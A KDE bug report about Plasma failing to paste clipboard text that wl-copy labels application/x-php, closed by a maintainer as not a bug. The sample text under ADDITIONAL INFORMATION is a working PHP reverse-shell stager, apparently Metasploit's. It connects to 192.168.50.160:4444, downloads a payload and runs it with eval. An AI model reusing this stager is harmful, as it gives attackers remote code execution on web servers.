Bug 505320

Summary: Cannot paste certain type of clipboard content (Wayland)
Product: [Plasma] kwin Reporter: FishBoneEK
Component: coreAssignee: KWin default assignee <kwin-bugs-null>
Status: RESOLVED NOT A BUG    
Severity: normal CC: kde
Priority: NOR    
Version First Reported In: 6.3.5   
Target Milestone: ---   
Platform: Arch Linux   
OS: Linux   
Latest Commit: Version Fixed/Implemented In:
Sentry Crash Report:

Description FishBoneEK 2025-06-08 03:26:13 UTC
SUMMARY
wl-copy determines type of content when it reads from stdin. In our example, it determines the content is of `application/x-php`, and sets it in the clipboard. But KDE doesn't recognize it very well, probably because the type is not `text/plain` or `TEXT` or sth else. 
I think KDE should recognize more types as textual types, so that user can paste them in KDE.
Kinda suck, because it means I can't use wl-copy to copy code generated by programs.

STEPS TO REPRODUCE
1. Copy the text content from ADDITIONAL INFORMATION
2. Run `wl-paste | wl-copy` so that wl-copy reads the content from stdin.
3. Try pasting in KDE via CTRL-V
4. Run `wl-paste --list-types`

OBSERVED RESULT
Cannot paste in KDE
`wl-paste --list-types` shows `application/x-php`

EXPECTED RESULT
Able to paste in KDE

SOFTWARE/OS VERSIONS
KDE Plasma Version: 6.3.5
KDE Frameworks Version: 6.14.0
Qt Version: 6.9.0

ADDITIONAL INFORMATION
/*<?php /**/ error_reporting(0); $ip = '192.168.50.160'; $port = 4444; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else { eval($b); } die();
Comment 1 David Edmundson 2025-06-09 05:53:21 UTC
>application/x-php`

We shouldn't be converting from things that are simply wrong. 

You can override the mimetype used by wl-paste with '-t'